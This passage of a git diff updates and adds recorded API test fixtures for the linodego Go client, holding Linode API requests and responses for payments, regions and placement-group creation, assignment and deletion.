Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - Content-Length: - - "37" - Content-Type: - - application/json - Server: - - nginx - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - account:read_only - X-Frame-Options: - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - status: 404 Not Found - code: 404 - duration: "" + - request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/account/payments/-1 + method: GET + response: + body: '{"errors": [{"reason": "Not found"}]}' + headers: + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Cache-Control: + - private, max-age=0, s-maxage=0, no-cache, no-store + Content-Length: + - "37" + Content-Type: + - application/json + Server: + - nginx + Vary: + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - account:read_only + X-Frame-Options: + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "800" + status: 404 Not Found + code: 404 + duration: "" \ No newline at end of file diff --git a/test/integration/fixtures/TestPayments_List.yaml b/test/integration/fixtures/TestPayments_List.yaml index f80f19d2d..acaae8383 100644 --- a/test/integration/fixtures/TestPayments_List.yaml +++ b/test/integration/fixtures/TestPayments_List.yaml @@ -1,61 +1,64 @@ --- version: 1 interactions: - - request: - body: "" - form: {} - headers: - Accept: - - application/json - Content-Type: - - application/json - User-Agent: - - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/account/payments - method: GET - response: - body: '{"data": [{"id": 12065587, "date": "2018-01-02T03:04:05", "usd": 25.0}], +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/account/payments?page=1 + method: GET + response: + body: '{"data": [{"id": 12065587, "date": "2018-01-02T03:04:05", "usd": 25.0}], "page": 1, "pages": 1, "results": 1}' - headers: - Access-Control-Allow-Credentials: - - "true" - Access-Control-Allow-Headers: - - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter - Access-Control-Allow-Methods: - - HEAD, GET, OPTIONS, POST, PUT, DELETE - Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 - Content-Length: - - "109" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - account:read_only - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' - X-Ratelimit-Limit: - - "800" - X-Xss-Protection: - - 1; mode=block - status: 200 OK - code: 200 - duration: "" + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - max-age=0, no-cache, no-store + Connection: + - keep-alive + Content-Length: + - "49" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Expires: + - Mon, 17 Jun 2024 19:44:27 GMT + Pragma: + - no-cache + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - account:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" diff --git a/test/integration/fixtures/TestPlacementGroup_assignment.yaml b/test/integration/fixtures/TestPlacementGroup_assignment.yaml new file mode 100644 index 000000000..449cbc77a --- /dev/null +++ b/test/integration/fixtures/TestPlacementGroup_assignment.yaml @@ -0,0 +1,481 @@ +--- +version: 1 +interactions: +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/regions + method: GET + response: + body: '{"data": [{"id": "ap-west", "label": "Mumbai, India", "country": "in", + "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed + Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, Ontario, CAN", + "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", + "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, NSW, Australia", + "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", + "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "fake-cph-4", "label": "Fake CPH 4, DK", "country": + "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "fake-cph-5", "label": "Fake CPH 5, DK", "country": + "dk", "capabilities": ["Linodes", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "8.8.8.8,1.1.1.1,1.0.0.1,8.8.4.4", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX, USA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Kubernetes", + "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA, USA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA, USA", + "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed + Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ, USA", "country": + "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Bare Metal", "Vlans", "VPCs", "Block Storage Migrations", "Managed Databases", + "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, England, UK", + "country": "uk", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Cloud + Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Placement Group"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], + "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": + "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], + "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": + "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], + "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 13}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - private, max-age=900 + - private, max-age=60, s-maxage=60 + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Server: + - nginx + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Accept-Encoding + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - '*' + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: '{"label":"linodego-test-1718722972576732000","region":"us-east","affinity_type":"anti_affinity:local","is_strict":false}' + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/placement/groups + method: POST + response: + body: '{"id": 4020, "label": "linodego-test-1718722972576732000", "region": "us-east", + "affinity_type": "anti_affinity:local", "is_strict": false, "is_compliant": + true, "members": []}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - private, max-age=60, s-maxage=60 + Content-Length: + - "176" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Server: + - nginx + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - linodes:read_write + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: '{"region":"us-east","type":"g6-nanode-1","label":"go-test-ins-t02660a1ehag","root_pass":"1@L\u003e)0sb6qd`]5\u0026OW~K\\Q6F~5l4Tys\\3Gh9RI93}2Wrs6u;Pu?5c;~)ERj8Jm9Xo","image":"linode/debian9","firewall_id":34215,"booted":false}' + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/linode/instances + method: POST + response: + body: '{"id": 25195349, "label": "go-test-ins-t02660a1ehag", "group": "", "status": + "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "type": "g6-nanode-1", "ipv4": ["143.42.181.254"], "ipv6": "1234::5678/128", + "image": "linode/debian9", "region": "us-east", "specs": {"disk": 25600, "memory": + 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": + 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": + false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": + "53257e56e7692e143036a5fbf7daaf92b5350bf3", "has_user_data": false, "placement_group": + null, "disk_encryption": "enabled", "lke_cluster_id": null}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - private, max-age=60, s-maxage=60 + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Server: + - nginx + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Accept-Encoding + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - linodes:read_write + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "10" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: '{"linodes":[25195349]}' + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/placement/groups/4020/assign + method: POST + response: + body: '{"id": 4020, "label": "linodego-test-1718722972576732000", "region": "us-east", + "affinity_type": "anti_affinity:local", "is_strict": false, "is_compliant": + true, "members": [{"linode_id": 25195349, "is_compliant": true}]}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - private, max-age=60, s-maxage=60 + Content-Length: + - "221" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Server: + - nginx + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - linodes:read_write + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/linode/instances/25195349 + method: GET + response: + body: '{"id": 25195349, "label": "go-test-ins-t02660a1ehag", "group": "", "status": + "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", + "type": "g6-nanode-1", "ipv4": ["143.42.181.254"], "ipv6": "1234::5678/128", + "image": "linode/debian9", "region": "us-east", "specs": {"disk": 25600, "memory": + 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": + 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": + false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": + null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": + "53257e56e7692e143036a5fbf7daaf92b5350bf3", "has_user_data": false, "placement_group": + {"id": 4020, "label": "linodego-test-1718722972576732000", "affinity_type": + "anti_affinity:local", "is_strict": false}, "disk_encryption": "enabled", "lke_cluster_id": + null}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - private, max-age=0, s-maxage=0, no-cache, no-store + - private, max-age=60, s-maxage=60 + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Server: + - nginx + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Accept-Encoding + - Authorization, X-Filter + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - linodes:read_only + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: '{"linodes":[25195349]}' + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/placement/groups/4020/unassign + method: POST + response: + body: '{"id": 4020, "label": "linodego-test-1718722972576732000", "region": "us-east", + "affinity_type": "anti_affinity:local", "is_strict": false, "is_compliant": + true, "members": []}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - private, max-age=60, s-maxage=60 + Content-Length: + - "176" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Server: + - nginx + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - linodes:read_write + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/placement/groups/4020 + method: DELETE + response: + body: '{}' + headers: + Access-Control-Allow-Credentials: + - "true" + Access-Control-Allow-Headers: + - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter + Access-Control-Allow-Methods: + - HEAD, GET, OPTIONS, POST, PUT, DELETE + Access-Control-Allow-Origin: + - '*' + Access-Control-Expose-Headers: + - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status + Cache-Control: + - private, max-age=60, s-maxage=60 + Content-Length: + - "2" + Content-Security-Policy: + - default-src 'none' + Content-Type: + - application/json + Server: + - nginx + Strict-Transport-Security: + - max-age=31536000 + Vary: + - Authorization, X-Filter + X-Accepted-Oauth-Scopes: + - linodes:read_write + X-Content-Type-Options: + - nosniff + X-Frame-Options: + - DENY + - DENY + X-Oauth-Scopes: + - '*' + X-Ratelimit-Limit: + - "400" + X-Xss-Protection: + - 1; mode=block + status: 200 OK + code: 200 + duration: "" diff --git a/test/integration/fixtures/TestPlacementGroup_basic.yaml b/test/integration/fixtures/TestPlacementGroup_basic.yaml new file mode 100644 index 000000000..28a50ca90 --- /dev/null +++ b/test/integration/fixtures/TestPlacementGroup_basic.yaml @@ -0,0 +1,419 @@ +--- +version: 1 +interactions: +- request: + body: "" + form: {} + headers: + Accept: + - application/json + Content-Type: + - application/json + User-Agent: + - linodego/dev https://github.com/linode/linodego + url: https://api.linode.com/v4beta/regions + method: GET + response: + body: '{"data": [{"id": "ap-west", "label": "Mumbai, India", "country": "in", + "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", "VPCs", "Managed + Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 5, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, Ontario, CAN", + "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", + "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 5, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, NSW, Australia", + "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Vlans", + "VPCs", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 5, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX, USA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Kubernetes", + "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 5, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA, USA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 5, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA, USA", + "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed + Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 5, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ, USA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", + "Vlans", "VPCs", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 5, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, England, UK", + "country": "uk", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Cloud + Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Placement Group"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 5, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Object Storage", + "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 5, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": + "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Object Storage", + "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", + "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 5, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": + "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Managed Databases"], + "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", + "ipv6": 